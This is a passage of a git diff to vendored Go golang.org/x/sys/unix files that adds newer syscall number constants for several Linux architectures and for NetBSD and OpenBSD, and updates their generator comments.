-+ SYS_MKNODAT = 4290
-+ SYS_FCHOWNAT = 4291
-+ SYS_FUTIMESAT = 4292
-+ SYS_FSTATAT64 = 4293
-+ SYS_UNLINKAT = 4294
-+ SYS_RENAMEAT = 4295
-+ SYS_LINKAT = 4296
-+ SYS_SYMLINKAT = 4297
-+ SYS_READLINKAT = 4298
-+ SYS_FCHMODAT = 4299
-+ SYS_FACCESSAT = 4300
-+ SYS_PSELECT6 = 4301
-+ SYS_PPOLL = 4302
-+ SYS_UNSHARE = 4303
-+ SYS_SPLICE = 4304
-+ SYS_SYNC_FILE_RANGE = 4305
-+ SYS_TEE = 4306
-+ SYS_VMSPLICE = 4307
-+ SYS_MOVE_PAGES = 4308
-+ SYS_SET_ROBUST_LIST = 4309
-+ SYS_GET_ROBUST_LIST = 4310
-+ SYS_KEXEC_LOAD = 4311
-+ SYS_GETCPU = 4312
-+ SYS_EPOLL_PWAIT = 4313
-+ SYS_IOPRIO_SET = 4314
-+ SYS_IOPRIO_GET = 4315
-+ SYS_UTIMENSAT = 4316
-+ SYS_SIGNALFD = 4317
-+ SYS_TIMERFD = 4318
-+ SYS_EVENTFD = 4319
-+ SYS_FALLOCATE = 4320
-+ SYS_TIMERFD_CREATE = 4321
-+ SYS_TIMERFD_GETTIME = 4322
-+ SYS_TIMERFD_SETTIME = 4323
-+ SYS_SIGNALFD4 = 4324
-+ SYS_EVENTFD2 = 4325
-+ SYS_EPOLL_CREATE1 = 4326
-+ SYS_DUP3 = 4327
-+ SYS_PIPE2 = 4328
-+ SYS_INOTIFY_INIT1 = 4329
-+ SYS_PREADV = 4330
-+ SYS_PWRITEV = 4331
-+ SYS_RT_TGSIGQUEUEINFO = 4332
-+ SYS_PERF_EVENT_OPEN = 4333
-+ SYS_ACCEPT4 = 4334
-+ SYS_RECVMMSG = 4335
-+ SYS_FANOTIFY_INIT = 4336
-+ SYS_FANOTIFY_MARK = 4337
-+ SYS_PRLIMIT64 = 4338
-+ SYS_NAME_TO_HANDLE_AT = 4339
-+ SYS_OPEN_BY_HANDLE_AT = 4340
-+ SYS_CLOCK_ADJTIME = 4341
-+ SYS_SYNCFS = 4342
-+ SYS_SENDMMSG = 4343
-+ SYS_SETNS = 4344
-+ SYS_PROCESS_VM_READV = 4345
-+ SYS_PROCESS_VM_WRITEV = 4346
-+ SYS_KCMP = 4347
-+ SYS_FINIT_MODULE = 4348
-+ SYS_SCHED_SETATTR = 4349
-+ SYS_SCHED_GETATTR = 4350
-+ SYS_RENAMEAT2 = 4351
-+ SYS_SECCOMP = 4352
-+ SYS_GETRANDOM = 4353
-+ SYS_MEMFD_CREATE = 4354
-+ SYS_BPF = 4355
-+ SYS_EXECVEAT = 4356
-+ SYS_USERFAULTFD = 4357
-+ SYS_MEMBARRIER = 4358
-+ SYS_MLOCK2 = 4359
-+ SYS_COPY_FILE_RANGE = 4360
-+ SYS_PREADV2 = 4361
-+ SYS_PWRITEV2 = 4362
-+ SYS_PKEY_MPROTECT = 4363
-+ SYS_PKEY_ALLOC = 4364
-+ SYS_PKEY_FREE = 4365
-+ SYS_STATX = 4366
-+ SYS_RSEQ = 4367
-+ SYS_IO_PGETEVENTS = 4368
-+ SYS_SEMGET = 4393
-+ SYS_SEMCTL = 4394
-+ SYS_SHMGET = 4395
-+ SYS_SHMCTL = 4396
-+ SYS_SHMAT = 4397
-+ SYS_SHMDT = 4398
-+ SYS_MSGGET = 4399
-+ SYS_MSGSND = 4400
-+ SYS_MSGRCV = 4401
-+ SYS_MSGCTL = 4402
-+ SYS_CLOCK_GETTIME64 = 4403
-+ SYS_CLOCK_SETTIME64 = 4404
-+ SYS_CLOCK_ADJTIME64 = 4405
-+ SYS_CLOCK_GETRES_TIME64 = 4406
-+ SYS_CLOCK_NANOSLEEP_TIME64 = 4407
-+ SYS_TIMER_GETTIME64 = 4408
-+ SYS_TIMER_SETTIME64 = 4409
-+ SYS_TIMERFD_GETTIME64 = 4410
-+ SYS_TIMERFD_SETTIME64 = 4411
-+ SYS_UTIMENSAT_TIME64 = 4412
-+ SYS_PSELECT6_TIME64 = 4413
-+ SYS_PPOLL_TIME64 = 4414
-+ SYS_IO_PGETEVENTS_TIME64 = 4416
-+ SYS_RECVMMSG_TIME64 = 4417
-+ SYS_MQ_TIMEDSEND_TIME64 = 4418
-+ SYS_MQ_TIMEDRECEIVE_TIME64 = 4419
-+ SYS_SEMTIMEDOP_TIME64 = 4420
-+ SYS_RT_SIGTIMEDWAIT_TIME64 = 4421
-+ SYS_FUTEX_TIME64 = 4422
-+ SYS_SCHED_RR_GET_INTERVAL_TIME64 = 4423
-+ SYS_PIDFD_SEND_SIGNAL = 4424
-+ SYS_IO_URING_SETUP = 4425
-+ SYS_IO_URING_ENTER = 4426
-+ SYS_IO_URING_REGISTER = 4427
-+ SYS_OPEN_TREE = 4428
-+ SYS_MOVE_MOUNT = 4429
-+ SYS_FSOPEN = 4430
-+ SYS_FSCONFIG = 4431
-+ SYS_FSMOUNT = 4432
-+ SYS_FSPICK = 4433
-+ SYS_PIDFD_OPEN = 4434
-+ SYS_CLONE3 = 4435
-+ SYS_OPENAT2 = 4437
-+ SYS_PIDFD_GETFD = 4438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64.go
-index 8944448a..cc3c067b 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build ppc64,linux
-@@ -366,4 +366,35 @@ const (
- SYS_PREADV2 = 380
- SYS_PWRITEV2 = 381
- SYS_KEXEC_FILE_LOAD = 382
-+ SYS_STATX = 383
-+ SYS_PKEY_ALLOC = 384
-+ SYS_PKEY_FREE = 385
-+ SYS_PKEY_MPROTECT = 386
-+ SYS_RSEQ = 387
-+ SYS_IO_PGETEVENTS = 388
-+ SYS_SEMTIMEDOP = 392
-+ SYS_SEMGET = 393
-+ SYS_SEMCTL = 394
-+ SYS_SHMGET = 395
-+ SYS_SHMCTL = 396
-+ SYS_SHMAT = 397
-+ SYS_SHMDT = 398
-+ SYS_MSGGET = 399
-+ SYS_MSGSND = 400
-+ SYS_MSGRCV = 401
-+ SYS_MSGCTL = 402
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64le.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64le.go
-index 90a039be..4050ff98 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64le.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_ppc64le.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build ppc64le,linux
-@@ -366,4 +366,35 @@ const (
- SYS_PREADV2 = 380
- SYS_PWRITEV2 = 381
- SYS_KEXEC_FILE_LOAD = 382
-+ SYS_STATX = 383
-+ SYS_PKEY_ALLOC = 384
-+ SYS_PKEY_FREE = 385
-+ SYS_PKEY_MPROTECT = 386
-+ SYS_RSEQ = 387
-+ SYS_IO_PGETEVENTS = 388
-+ SYS_SEMTIMEDOP = 392
-+ SYS_SEMGET = 393
-+ SYS_SEMCTL = 394
-+ SYS_SHMGET = 395
-+ SYS_SHMCTL = 396
-+ SYS_SHMAT = 397
-+ SYS_SHMDT = 398
-+ SYS_MSGGET = 399
-+ SYS_MSGSND = 400
-+ SYS_MSGRCV = 401
-+ SYS_MSGCTL = 402
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go
-similarity index 92%
-copy from vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go
-copy to vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go
-index 64078435..529abb6a 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_arm64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_riscv64.go
-@@ -1,7 +1,7 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include -fsigned-char /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
--// +build arm64,linux
-+// +build riscv64,linux
-
- package unix
-
-@@ -44,7 +44,6 @@ const (
- SYS_UNLINKAT = 35
- SYS_SYMLINKAT = 36
- SYS_LINKAT = 37
-- SYS_RENAMEAT = 38
- SYS_UMOUNT2 = 39
- SYS_MOUNT = 40
- SYS_PIVOT_ROOT = 41
-@@ -282,4 +281,22 @@ const (
- SYS_PKEY_MPROTECT = 288
- SYS_PKEY_ALLOC = 289
- SYS_PKEY_FREE = 290
-+ SYS_STATX = 291
-+ SYS_IO_PGETEVENTS = 292
-+ SYS_RSEQ = 293
-+ SYS_KEXEC_FILE_LOAD = 294
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go
-index aab0cdb1..27665001 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_s390x.go
-@@ -1,4 +1,4 @@
--// linux/mksysnum.pl -Wall -Werror -static -I/tmp/include -fsigned-char /tmp/include/asm/unistd.h
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include -fsigned-char /tmp/include/asm/unistd.h
- // Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build s390x,linux
-@@ -109,6 +109,7 @@ const (
- SYS_PERSONALITY = 136
- SYS_AFS_SYSCALL = 137
- SYS_GETDENTS = 141
-+ SYS_SELECT = 142
- SYS_FLOCK = 143
- SYS_MSYNC = 144
- SYS_READV = 145
-@@ -151,6 +152,26 @@ const (
- SYS_GETPMSG = 188
- SYS_PUTPMSG = 189
- SYS_VFORK = 190
-+ SYS_GETRLIMIT = 191
-+ SYS_LCHOWN = 198
-+ SYS_GETUID = 199
-+ SYS_GETGID = 200
-+ SYS_GETEUID = 201
-+ SYS_GETEGID = 202
-+ SYS_SETREUID = 203
-+ SYS_SETREGID = 204
-+ SYS_GETGROUPS = 205
-+ SYS_SETGROUPS = 206
-+ SYS_FCHOWN = 207
-+ SYS_SETRESUID = 208
-+ SYS_GETRESUID = 209
-+ SYS_SETRESGID = 210
-+ SYS_GETRESGID = 211
-+ SYS_CHOWN = 212
-+ SYS_SETUID = 213
-+ SYS_SETGID = 214
-+ SYS_SETFSUID = 215
-+ SYS_SETFSGID = 216
- SYS_PIVOT_ROOT = 217
- SYS_MINCORE = 218
- SYS_MADVISE = 219
-@@ -222,6 +243,7 @@ const (
- SYS_MKNODAT = 290
- SYS_FCHOWNAT = 291
- SYS_FUTIMESAT = 292
-+ SYS_NEWFSTATAT = 293
- SYS_UNLINKAT = 294
- SYS_RENAMEAT = 295
- SYS_LINKAT = 296
-@@ -306,26 +328,38 @@ const (
- SYS_COPY_FILE_RANGE = 375
- SYS_PREADV2 = 376
- SYS_PWRITEV2 = 377
-- SYS_SELECT = 142
-- SYS_GETRLIMIT = 191
-- SYS_LCHOWN = 198
-- SYS_GETUID = 199
-- SYS_GETGID = 200
-- SYS_GETEUID = 201
-- SYS_GETEGID = 202
-- SYS_SETREUID = 203
-- SYS_SETREGID = 204
-- SYS_GETGROUPS = 205
-- SYS_SETGROUPS = 206
-- SYS_FCHOWN = 207
-- SYS_SETRESUID = 208
-- SYS_GETRESUID = 209
-- SYS_SETRESGID = 210
-- SYS_GETRESGID = 211
-- SYS_CHOWN = 212
-- SYS_SETUID = 213
-- SYS_SETGID = 214
-- SYS_SETFSUID = 215
-- SYS_SETFSGID = 216
-- SYS_NEWFSTATAT = 293
-+ SYS_S390_GUARDED_STORAGE = 378
-+ SYS_STATX = 379
-+ SYS_S390_STHYI = 380
-+ SYS_KEXEC_FILE_LOAD = 381
-+ SYS_IO_PGETEVENTS = 382
-+ SYS_RSEQ = 383
-+ SYS_PKEY_MPROTECT = 384
-+ SYS_PKEY_ALLOC = 385
-+ SYS_PKEY_FREE = 386
-+ SYS_SEMTIMEDOP = 392
-+ SYS_SEMGET = 393
-+ SYS_SEMCTL = 394
-+ SYS_SHMGET = 395
-+ SYS_SHMCTL = 396
-+ SYS_SHMAT = 397
-+ SYS_SHMDT = 398
-+ SYS_MSGGET = 399
-+ SYS_MSGSND = 400
-+ SYS_MSGRCV = 401
-+ SYS_MSGCTL = 402
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_CLONE3 = 435
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_linux_sparc64.go b/vendor/golang.org/x/sys/unix/zsysnum_linux_sparc64.go
-index c9c129dc..4dc82bb2 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_linux_sparc64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_linux_sparc64.go
-@@ -1,5 +1,5 @@
--// mksysnum_linux.pl -Ilinux/usr/include -m64 -D__arch64__ linux/usr/include/asm/unistd.h
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run linux/mksysnum.go -Wall -Werror -static -I/tmp/include /tmp/include/asm/unistd.h
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build sparc64,linux
-
-@@ -253,6 +253,7 @@ const (
- SYS_TIMER_GETOVERRUN = 264
- SYS_TIMER_DELETE = 265
- SYS_TIMER_CREATE = 266
-+ SYS_VSERVER = 267
- SYS_IO_SETUP = 268
- SYS_IO_DESTROY = 269
- SYS_IO_SUBMIT = 270
-@@ -345,4 +346,34 @@ const (
- SYS_COPY_FILE_RANGE = 357
- SYS_PREADV2 = 358
- SYS_PWRITEV2 = 359
-+ SYS_STATX = 360
-+ SYS_IO_PGETEVENTS = 361
-+ SYS_PKEY_MPROTECT = 362
-+ SYS_PKEY_ALLOC = 363
-+ SYS_PKEY_FREE = 364
-+ SYS_RSEQ = 365
-+ SYS_SEMTIMEDOP = 392
-+ SYS_SEMGET = 393
-+ SYS_SEMCTL = 394
-+ SYS_SHMGET = 395
-+ SYS_SHMCTL = 396
-+ SYS_SHMAT = 397
-+ SYS_SHMDT = 398
-+ SYS_MSGGET = 399
-+ SYS_MSGSND = 400
-+ SYS_MSGRCV = 401
-+ SYS_MSGCTL = 402
-+ SYS_PIDFD_SEND_SIGNAL = 424
-+ SYS_IO_URING_SETUP = 425
-+ SYS_IO_URING_ENTER = 426
-+ SYS_IO_URING_REGISTER = 427
-+ SYS_OPEN_TREE = 428
-+ SYS_MOVE_MOUNT = 429
-+ SYS_FSOPEN = 430
-+ SYS_FSCONFIG = 431
-+ SYS_FSMOUNT = 432
-+ SYS_FSPICK = 433
-+ SYS_PIDFD_OPEN = 434
-+ SYS_OPENAT2 = 437
-+ SYS_PIDFD_GETFD = 438
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_386.go b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_386.go
-index 8afda9c4..e66a8c9d 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_386.go
-@@ -1,5 +1,5 @@
--// mksysnum_netbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go http://cvsweb.netbsd.org/bsdweb.cgi/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,netbsd
-
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_amd64.go b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_amd64.go
-index aea8dbec..42c788f2 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_amd64.go
-@@ -1,5 +1,5 @@
--// mksysnum_netbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go http://cvsweb.netbsd.org/bsdweb.cgi/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build amd64,netbsd
-
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_arm.go b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_arm.go
-index c6158a7e..0a075717 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_arm.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_arm.go
-@@ -1,5 +1,5 @@
--// mksysnum_netbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go http://cvsweb.netbsd.org/bsdweb.cgi/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build arm,netbsd
-
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_386.go b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_arm64.go
-similarity index 99%
-copy from vendor/golang.org/x/sys/unix/zsysnum_netbsd_386.go
-copy to vendor/golang.org/x/sys/unix/zsysnum_netbsd_arm64.go
-index 8afda9c4..0291c093 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_netbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_netbsd_arm64.go
-@@ -1,7 +1,7 @@
--// mksysnum_netbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go http://cvsweb.netbsd.org/bsdweb.cgi/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; DO NOT EDIT.
-
--// +build 386,netbsd
-+// +build arm64,netbsd
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_386.go b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_386.go
-index 3e8ce2a1..b0207d1c 100644
---- a/vendor/golang.org/x/sys/unix/zsysnum_openbsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_openbsd_386.go
-@@ -1,5 +1,5 @@
--// mksysnum_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysnum.go https://cvsweb.openbsd.org/cgi-bin/cvsweb/~checkout~/src/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-
- // +build 386,openbsd
-
-@@ -9,109 +9,119 @@ const (
- SYS_EXIT = 1 // { void sys_exit(int rval); }
- SYS_FORK = 2 // { int sys_fork(void); }
- SYS_READ = 3 // { ssize_t sys_read(int fd, void *buf, size_t nbyte); }
-- SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, \
-- SYS_OPEN = 5 // { int sys_open(const char *path, \
-+ SYS_WRITE = 4 // { ssize_t sys_write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int sys_open(const char *path, int flags, ... mode_t mode); }
- SYS_CLOSE = 6 // { int sys_close(int fd); }
-- SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, \
-+ SYS_GETENTROPY = 7 // { int sys_getentropy(void *buf, size_t nbyte); }
-+ SYS___TFORK = 8 // { int sys___tfork(const struct __tfork *param, size_t psize); }
- SYS_LINK = 9 // { int sys_link(const char *path, const char *link); }
- SYS_UNLINK = 10 // { int sys_unlink(const char *path); }
-- SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, \
-+ SYS_WAIT4 = 11 // { pid_t sys_wait4(pid_t pid, int *status, int options, struct rusage *rusage); }
- SYS_CHDIR = 12 // { int sys_chdir(const char *path); }
- SYS_FCHDIR = 13 // { int sys_fchdir(int fd); }
-- SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, \
-+ SYS_MKNOD = 14 // { int sys_mknod(const char *path, mode_t mode, dev_t dev); }
- SYS_CHMOD = 15 // { int sys_chmod(const char *path, mode_t mode); }
-- SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, \
-+ SYS_CHOWN = 16 // { int sys_chown(const char *path, uid_t uid, gid_t gid); }
- SYS_OBREAK = 17 // { int sys_obreak(char *nsize); } break
- SYS_GETDTABLECOUNT = 18 // { int sys_getdtablecount(void); }
-- SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, \
-+ SYS_GETRUSAGE = 19 // { int sys_getrusage(int who, struct rusage *rusage); }
- SYS_GETPID = 20 // { pid_t sys_getpid(void); }
-- SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, \
-+ SYS_MOUNT = 21 // { int sys_mount(const char *type, const char *path, int flags, void *data); }
- SYS_UNMOUNT = 22 // { int sys_unmount(const char *path, int flags); }
- SYS_SETUID = 23 // { int sys_setuid(uid_t uid); }
- SYS_GETUID = 24 // { uid_t sys_getuid(void); }
- SYS_GETEUID = 25 // { uid_t sys_geteuid(void); }
-- SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, \
-- SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, \
-- SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, \
-- SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, \
-- SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, \
-- SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, \
-- SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, \
-- SYS_ACCESS = 33 // { int sys_access(const char *path, int flags); }
-+ SYS_PTRACE = 26 // { int sys_ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { ssize_t sys_recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { ssize_t sys_sendmsg(int s, const struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { ssize_t sys_recvfrom(int s, void *buf, size_t len, int flags, struct sockaddr *from, socklen_t *fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int sys_accept(int s, struct sockaddr *name, socklen_t *anamelen); }
-+ SYS_GETPEERNAME = 31 // { int sys_getpeername(int fdes, struct sockaddr *asa, socklen_t *alen); }
-+ SYS_GETSOCKNAME = 32 // { int sys_getsockname(int fdes, struct sockaddr *asa, socklen_t *alen); }
-+ SYS_ACCESS = 33 // { int sys_access(const char *path, int amode); }
- SYS_CHFLAGS = 34 // { int sys_chflags(const char *path, u_int flags); }
- SYS_FCHFLAGS = 35 // { int sys_fchflags(int fd, u_int flags); }
- SYS_SYNC = 36 // { void sys_sync(void); }
-- SYS_KILL = 37 // { int sys_kill(int pid, int signum); }
- SYS_STAT = 38 // { int sys_stat(const char *path, struct stat *ub); }
- SYS_GETPPID = 39 // { pid_t sys_getppid(void); }
- SYS_LSTAT = 40 // { int sys_lstat(const char *path, struct stat *ub); }
- SYS_DUP = 41 // { int sys_dup(int fd); }
-- SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, \
-+ SYS_FSTATAT = 42 // { int sys_fstatat(int fd, const char *path, struct stat *buf, int flag); }
- SYS_GETEGID = 43 // { gid_t sys_getegid(void); }
-- SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, \
-- SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, \
-- SYS_SIGACTION = 46 // { int sys_sigaction(int signum, \
-+ SYS_PROFIL = 44 // { int sys_profil(caddr_t samples, size_t size, u_long offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int sys_ktrace(const char *fname, int ops, int facs, pid_t pid); }
-+ SYS_SIGACTION = 46 // { int sys_sigaction(int signum, const struct sigaction *nsa, struct sigaction *osa); }
- SYS_GETGID = 47 // { gid_t sys_getgid(void); }
- SYS_SIGPROCMASK = 48 // { int sys_sigprocmask(int how, sigset_t mask); }
-- SYS_GETLOGIN = 49 // { int sys_getlogin(char *namebuf, u_int namelen); }
- SYS_SETLOGIN = 50 // { int sys_setlogin(const char *namebuf); }
- SYS_ACCT = 51 // { int sys_acct(const char *path); }
- SYS_SIGPENDING = 52 // { int sys_sigpending(void); }
- SYS_FSTAT = 53 // { int sys_fstat(int fd, struct stat *sb); }
-- SYS_IOCTL = 54 // { int sys_ioctl(int fd, \
-+ SYS_IOCTL = 54 // { int sys_ioctl(int fd, u_long com, ... void *data); }
- SYS_REBOOT = 55 // { int sys_reboot(int opt); }
- SYS_REVOKE = 56 // { int sys_revoke(const char *path); }
-- SYS_SYMLINK = 57 // { int sys_symlink(const char *path, \
-- SYS_READLINK = 58 // { int sys_readlink(const char *path, char *buf, \
-- SYS_EXECVE = 59 // { int sys_execve(const char *path, \
-+ SYS_SYMLINK = 57 // { int sys_symlink(const char *path, const char *link); }
-+ SYS_READLINK = 58 // { ssize_t sys_readlink(const char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int sys_execve(const char *path, char * const *argp, char * const *envp); }
- SYS_UMASK = 60 // { mode_t sys_umask(mode_t newmask); }
- SYS_CHROOT = 61 // { int sys_chroot(const char *path); }
-- SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, \
-- SYS_STATFS = 63 // { int sys_statfs(const char *path, \
-+ SYS_GETFSSTAT = 62 // { int sys_getfsstat(struct statfs *buf, size_t bufsize, int flags); }
-+ SYS_STATFS = 63 // { int sys_statfs(const char *path, struct statfs *buf); }
- SYS_FSTATFS = 64 // { int sys_fstatfs(int fd, struct statfs *buf); }
-- SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, \
-+ SYS_FHSTATFS = 65 // { int sys_fhstatfs(const fhandle_t *fhp, struct statfs *buf); }
- SYS_VFORK = 66 // { int sys_vfork(void); }
-- SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, \
-- SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, \
-- SYS_SETITIMER = 69 // { int sys_setitimer(int which, \
-- SYS_GETITIMER = 70 // { int sys_getitimer(int which, \
-- SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, \
-- SYS_KEVENT = 72 // { int sys_kevent(int fd, \
-+ SYS_GETTIMEOFDAY = 67 // { int sys_gettimeofday(struct timeval *tp, struct timezone *tzp); }
-+ SYS_SETTIMEOFDAY = 68 // { int sys_settimeofday(const struct timeval *tv, const struct timezone *tzp); }
-+ SYS_SETITIMER = 69 // { int sys_setitimer(int which, const struct itimerval *itv, struct itimerval *oitv); }
-+ SYS_GETITIMER = 70 // { int sys_getitimer(int which, struct itimerval *itv); }
-+ SYS_SELECT = 71 // { int sys_select(int nd, fd_set *in, fd_set *ou, fd_set *ex, struct timeval *tv); }
-+ SYS_KEVENT = 72 // { int sys_kevent(int fd, const struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
- SYS_MUNMAP = 73 // { int sys_munmap(void *addr, size_t len); }
-- SYS_MPROTECT = 74 // { int sys_mprotect(void *addr, size_t len, \
